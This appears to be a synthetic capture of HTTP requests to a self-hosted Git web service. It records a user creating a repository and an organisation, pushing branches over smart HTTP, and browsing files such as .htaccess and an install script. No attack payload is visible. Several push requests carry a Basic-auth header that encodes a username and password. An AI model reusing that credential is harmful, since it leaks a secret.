{"method": "GET", "target": "/assets/img/logo.svg", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/search?count_only=1&uid=1&team_id=undefined&q=&page=1&mode=", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
{"method": "POST", "target": "/repo/create", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 179", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/repo/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": "uid=1&repo_name=tools&description=Build+scripts+and+notes&repo_template=&auto_init=on&gitignores=&license=&readme=Default&issue_labels=&object_format_name=sha1&default_branch=main"}
{"method": "GET", "target": "/alice/tools", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/repo/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/create", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
{"method": "POST", "target": "/org/create", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 59", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": "org_name=acme&visibility=0&repo_admin_change_team_access=on"}
{"method": "GET", "target": "/org/acme/dashboard", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/org/acme/dashboard", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/search?count_only=1&uid=3&team_id=undefined&q=&page=1&mode=", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/dashboard", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=3&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/dashboard", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools.git/info/refs?service=git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache", "Git-Protocol: version=2"], "body": ""}
{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 181"], "body": "0014command=ls-refs\n001aagent=git/2.49.1-Linux0016object-format=sha100010009peel\n000csymrefs\n000bunborn\n001bref-prefix refs/heads/\n001aref-prefix refs/tags/\n0014ref-prefix HEAD\n0000"}
{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 223"], "body": "0011command=fetch001aagent=git/2.49.1-Linux0016object-format=sha10001000dthin-pack000fno-progress000dofs-delta0032want 025ecb5715ad88750bc8944ae3ee0023776b08a3\n0032want 025ecb5715ad88750bc8944ae3ee0023776b08a3\n0009done\n0000"}
{"method": "GET", "target": "/alice/tools.git/info/refs?service=git-receive-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache"], "body": ""}
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 1195"], "body": "MDBiNTAyNWVjYjU3MTVhZDg4NzUwYmM4OTQ0YWUzZWUwMDIzNzc2YjA4YTMgYmJlNTIyM2E5YTRmODRlN2MzZDcyMDZmNGJkZDA2MjIzOWU4MzA5YiByZWZzL2hlYWRzL21haW4AIHJlcG9ydC1zdGF0dXMtdjIgc2lkZS1iYW5kLTY0ayBxdWlldCBvYmplY3QtZm9ybWF0PXNoYTEgYWdlbnQ9Z2l0LzIuNDkuMS1MaW51eDAwMDBQQUNLAAAAAgAAAA+YDXiclYtbCsIwEAD/c4r8C7J5bLMFEXuUzWaLgVZLmoLHtx7B+RkYmN5UrRTyOCtLiSKEgCPMPnoix7FIRBiT5hSd2bjpq1vwqJIxOeRClBCy0Bgja1AF8CGlIQNxMHz057vZaami9sY/PfTD67boVd7r3bo0xkAOh8Fe4MScda2961+TmUqx+ahLsbu0uvXdfAHWnz/YoRR4nDM0MDAzMVHQS88syUzPyy9KZTiU2lsrbdjSY104jdX5NHPG05wrxw2hqjJKEpOTU4uLGaIm9ecuijp2bVeqB3fZBavC0xMSLaCKglwdXXxd9XJTGIra7y45/9VpvTvn0Xl2Kzsfiq1znAJVFJ1SlJhWEgtS9fmKeemzqGM9rJ0rpsnMS4t74ZzpYmIABApJmXkMS35PtDvsY3r29PzXKw5bNU9ZxpERBzUjJT85O7VINzk/tyC/OFWvMjeHQWd5y3flxTNnR91tzrz0g3Vzj8LbmxCzgIqLGfhebpt28ZJ3sYB3caHp4gO26QUZiyDSxclFmQUlxQxfH11qDNt8SW+e8ule1UMm87rDHz6HqihKZkjJPfl/b6+HvVWbwP4LLHLrGh0WWwIAQ5+D9D54nMvLT0mNz81PKc1JLdbnAgAqqgU4sQF4nPMvKMnMzytW0PXMS0mtSC3mAgA5BQYUNnicSylKTCvhAgAIQAIcrQJ4nDM0MDAzMVFIyU/OTi3STc0rKaosyM/MK2EwlNlx2uGU5d7E5T2We5qlPpa4xEUBAGp2Eai0AXicU1bUT8rM0y/O4EqtSE1WUFJxUOICADrbBTiyAnicK04tKstMTi224lJQKE9NAlEKCpm5iempVgp56Zl5FVwAvLIKdq8CeJwzNDAwMzFRyEosS9TLScxL1wsuKcoEUrkpDDqcykduszK1ZnX7O/2+3DJ3wducWABo9hG0OXicU1YILinKzEvnAgANQQLFqQV4nDM0MDAzMVHIzCsuSczJ0S1OLsosKNErzmA4WsLziFHnpxzTZC5LhjXrhBeuDpcyhCguqCzJyM8z1k3OSE3O1iuoZNjBZ6S0Ws37+qnf5umeeyUa/a+llwEAQ3sf9roBeJxTVtRPyszTL87gSk3OyFfIzCsuSczJycxL5wIAbs0Ivzx4nCsoyswr0VDKyFTS5AIAHBwDnqwCeJwzNDAwMzFRKCjKT04tLtZLzSvTS9ErKWZoZrzwV9ki/dEqV+5di3c4P5qYE/gAAFOgEcS7AnicS0lNzkksSlVIzs8rLlFIzSuzUghKTc4vSrEpLinKzEvXUYDQdtZcAF6zD3MdeaAnWyIMS8cNQ71Ry9eDVrG43w=="}
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 617"], "body": "MDBjMjAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgZjdmZmE2MDM5NmQ5OWY2MTMxNWE1YTlhMjI1ZmMzMmViNjIyOGZkYiByZWZzL2hlYWRzL3B5dGhvbjMtbWlncmF0aW9uACByZXBvcnQtc3RhdHVzLXYyIHNpZGUtYmFuZC02NGsgcXVpZXQgb2JqZWN0LWZvcm1hdD1zaGExIGFnZW50PWdpdC8yLjQ5LjEtTGludXgwMDAwUEFDSwAAAAIAAAAElg14nJWNSwoCMRBE9zlF7wVJ0j35gIgewEMk6Q4OzJhhiKK3Nx7B2hS8R1F9F4GKwoGzUAmFinHOMCUO1gyKjrC6yDb6qLa0y6NDzjJZiykmqoHEF2RvtauUmbUbJkpAHbNKz35vO1yXuQic0q8u8k7rtsixtPUMxkfCYCbn4aBH1KDr3Lv8NVK39hLoDbbP+Hug+gLJoT+v+gPNgl/qzUzIUFkPJCiBpNxFCX63QXicO8h0kGkDP6NRbPrloHwvB+O3XZczPxVe7CwzvnPLxAAIFIqLkhlSck/+39vrYW/VJrD/AovcukaHxZYA3WMY768HeJwzNDAwMzFRyMwrLknMydEtTi7KLCjRK85gOFrC84hR56cc02QuS4Y164QXrg6XMoQozs1ML0osSdUrqGTYKb5c7aT9BD1nTdkJnNc8mluFrdOhqgoqSzLy84x1kzNSk7NBanfwGSmtVvO+fuq3ebrnXolG/2vpZQCoeiylOXicKyjKzCvRMNTkAgAQzwK6yhVHjb1hxkRjVbbQfVlakFC62Bw="}
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 475"], "body": "MDBjNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgNGI1ZWMxYWFiNjUyNzJiNjNiNWIxZjM5YmZjMmMxNDY4NGMwNjNhMCByZWZzL2hlYWRzL2ZlYXQvZG9ja2VyLXN1cHBvcnQAIHJlcG9ydC1zdGF0dXMtdjIgc2lkZS1iYW5kLTY0ayBxdWlldCBvYmplY3QtZm9ybWF0PXNoYTEgYWdlbnQ9Z2l0LzIuNDkuMS1MaW51eDAwMDBQQUNLAAAAAgAAAAOVDXiclYtbCsIwEEX/s4r8CzLNswERC25kJjODxdaWEMHlW5fg/TlwDrc3EesIQyoeoOQQaXCclFExhsqOKEQFUFJwZscmr26JJDrnsWDQMUiunrODpIGYIR2lyOihkMF3f2zNTstcxV7wh5t8cN0XOddtvdohl+DHIaZsT3DMHHade5e/TmZitvetPqXpvIj5AnIRP0P5As2CX+rNTMhQWQ8kKIGk3EUJfrdBeJw7yPScaUKQvEt+cnZqUVpmTipD+l/zCRITa+JfuB2Sut6UzLn8RVLLRO9vAGSzEms8eJxzC/L3VUjMKcjMS+UCABjGA9h6SWeBbtf5prUzWzGtbNHU1VZzAQ=="}
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 218"], "body": "MDBiNjAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgYmJlNTIyM2E5YTRmODRlN2MzZDcyMDZmNGJkZDA2MjIzOWU4MzA5YiByZWZzL3RhZ3MvdjEuMC4wACByZXBvcnQtc3RhdHVzLXYyIHNpZGUtYmFuZC02NGsgcXVpZXQgb2JqZWN0LWZvcm1hdD1zaGExIGFnZW50PWdpdC8yLjQ5LjEtTGludXgwMDAwUEFDSwAAAAIAAAAAAp0IgjvYqOq1EK1qx1yCPP0+0x4="}
{"method": "GET", "target": "/alice/powershell-scripts.git/info/refs?service=git-receive-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache"], "body": ""}
{"method": "POST", "target": "/alice/powershell-scripts.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 397"], "body": "MDBiNTAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgZGQxYzIyM2RjZWI1NDQxMjdiNzhjZGMyYTZjZTM1NmY4ZWQ5NGYyZCByZWZzL2hlYWRzL21haW4AIHJlcG9ydC1zdGF0dXMtdjIgc2lkZS1iYW5kLTY0ayBxdWlldCBvYmplY3QtZm9ybWF0PXNoYTEgYWdlbnQ9Z2l0LzIuNDkuMS1MaW51eDAwMDBQQUNLAAAAAgAAAAObCXiclYtRCsIwEAX/c4r9FyTbmO0GRPQoSXzBQGOlrODxrUdwfgYGxjaARNsEbjJ5pCRVYp0DtxCKIkfPUqLXO6O4/LbHutFt6RV0zj9d8cnjteBY13EhntMpKEdROvgdt9fRzfDX5Pqzm/sCJg8twKUCeJwzNDAwMzFRCHJ1dPF11ctNYXDttjkS9vTmppsC4WHfVpXW8TJZuQIA3ioNSjp4nFNWKE4uyiwoKeYCABGaA1YUrPZOD6Y21E0qY7z1OfdB9DOSug=="}
{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 212"], "body": "0014command=ls-refs\n001aagent=git/2.49.1-Linux0016object-format=sha100010009peel\n000csymrefs\n000bunborn\n001bref-prefix refs/heads/\n001fref-prefix refs/heads/main\n001aref-prefix refs/tags/\n0014ref-prefix HEAD\n0000"}
{"method": "GET", "target": "/assets/js/activity-heatmap.514f8f16.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/main/bin/docker-entrypoint", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/main/src/process.env.d.ts", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/main/docs/java.lang.String.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/main/%5Bdraft%5D.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/raw/branch/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/raw/branch/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/blame/branch/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/commits/branch/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/python3-migration", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/feat/docker-support/Dockerfile", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/commits/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/branches", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/tags", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
